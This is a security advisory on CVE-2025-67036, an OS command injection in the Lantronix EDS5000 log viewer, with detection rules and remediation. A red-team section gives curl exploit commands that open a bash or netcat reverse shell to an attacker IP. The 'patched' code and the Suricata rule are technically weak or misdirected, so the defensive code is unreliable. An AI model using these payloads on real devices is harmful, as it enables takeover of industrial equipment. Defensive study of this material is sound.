CVE-2025-67036

Executive Summary

CVE-2025-67036 is a critical OS command injection vulnerability in the Lantronix EDS5000 device running firmware version 2.1.0.0R3. The flaw resides in the Log Info page, where the file name parameter is not sanitized before being passed to the operating system. An authenticated attacker can inject arbitrary OS commands, which are executed with root privileges, leading to full device compromise. This vulnerability is particularly dangerous for industrial and critical infrastructure environments where EDS5000 devices are used for serial-to-Ethernet connectivity.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full read access to device data.
• Integrity (I): High (H) – Full write access to device data.
• Availability (A): High (H) – Full control over device operations.

CVSS Score: 8.8 (High) – Based on the vector above.

Threat Level: Critical due to root-level execution and potential for lateral movement in OT/ICS networks.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78) in the Log Info page of the Lantronix EDS5000 web interface. The page allows authenticated users to view log files by specifying a file name. The application fails to sanitize or validate the file name parameter, allowing an attacker to inject shell metacharacters (e.g., ;, |, &, $(), backticks) that are passed directly to a system call (e.g., system(), exec(), or popen()).

Root Cause: The file name parameter is concatenated into a shell command without escaping or validation. For example, the backend might execute something like cat /var/log/{user_input}. An attacker can input ; id to execute the id command after the cat command.

Attack Flow:

1. Authenticate to the web interface (default credentials or brute-force).
2. Navigate to the Log Info page.
3. Inject OS commands via the file name parameter.
4. Commands execute with root privileges, allowing full device takeover.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable PHP example
$filename = $_GET['file'];
$output = shell_exec("cat /var/log/" . $filename);
echo $output;

Patched Code (Conceptual):

// Patched PHP example
$filename = basename($_GET['file']);
$filename = escapeshellcmd($filename);
$output = shell_exec("cat /var/log/" . $filename);
echo $output;

Key Differences:

• The patched version uses basename() to strip directory traversal and escapeshellcmd() to escape shell metacharacters.
• Input validation ensures only alphanumeric characters and safe extensions (e.g., .log) are allowed.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Lantronix EDS5000 with firmware 2.1.0.0R3.
• Attacker: Kali Linux with curl and netcat.

Exploit Steps:

1. Authenticate to the device:

   curl -c cookies.txt -X POST -d "username=admin&password=admin" http://<target>/login
   

2. Inject command to create a reverse shell:

   curl -b cookies.txt "http://<target>/loginfo?file=;bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
   

3. Listen for the reverse shell:

   nc -lvnp 4444
   

Alternative Payload (using netcat):

curl -b cookies.txt "http://<target>/loginfo?file=;nc 10.0.0.1 4444 -e /bin/sh"

Blue Team

Detection Steps:

• Monitor web server logs for unusual file name parameters containing shell metacharacters (;, |, &, $, backticks).
• Deploy WAF rules to block requests with suspicious patterns in the file parameter.
• Enable logging of all command executions on the device (if possible) and alert on unexpected processes.

Honeypot Setup:

• Deploy a fake Lantronix EDS5000 with the same vulnerability to capture attacker behavior.
• Use tcpdump to monitor network traffic for reverse shell attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections from the device to unusual IPs on ports 4444, 1337, or 31337.
  • HTTP requests with file parameter containing ;, |, &, $(), or backticks.
  • DNS queries to known C2 domains.

• Host IOCs:

  • Unexpected processes like bash, nc, python, or perl running on the device.
  • Modified log files or new files in /tmp/ or /var/tmp/.
  • Unauthorized SSH keys in /root/.ssh/authorized_keys.

• File IOCs:

  • Presence of reverse shell scripts (e.g., /tmp/.rev.sh).
  • Suspicious cron jobs added to /etc/crontab.

Detection Engineering

YARA Rule

rule CVE_2025_67036_Lantronix_Command_Injection {
    meta:
        description = "Detects command injection attempts in Lantronix EDS5000 Log Info page"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67036"
    strings:
        $cmd1 = /file=.*[;&|`$()]/
        $cmd2 = /file=.*bash/
        $cmd3 = /file=.*nc /
        $cmd4 = /file=.*python/
    condition:
        any of ($cmd*)
}

Sigma Rule

title: Lantronix EDS5000 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in the Log Info page of Lantronix EDS5000
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'file=;'
            - 'file=|'
            - 'file=&'
            - 'file=$('
            - 'file=`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in file names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67036 Lantronix EDS5000 Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/loginfo"; http_uri; content:"file="; http_uri; pcre:"/file=[^&]*[;&|`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the production network if possible.
2. Change default credentials and enforce strong passwords.
3. Disable the Log Info page if not required, or restrict access via firewall rules.

Long-term Fix:

• Apply vendor patch when available (currently UNKNOWN).
• Implement input validation and output encoding for all user-supplied parameters.
• Use a Web Application Firewall (WAF) to block command injection patterns.

Compensating Controls:

• Deploy network segmentation to limit lateral movement.
• Enable logging and monitoring for all administrative actions.
• Conduct regular vulnerability scans and penetration tests.

Valters IT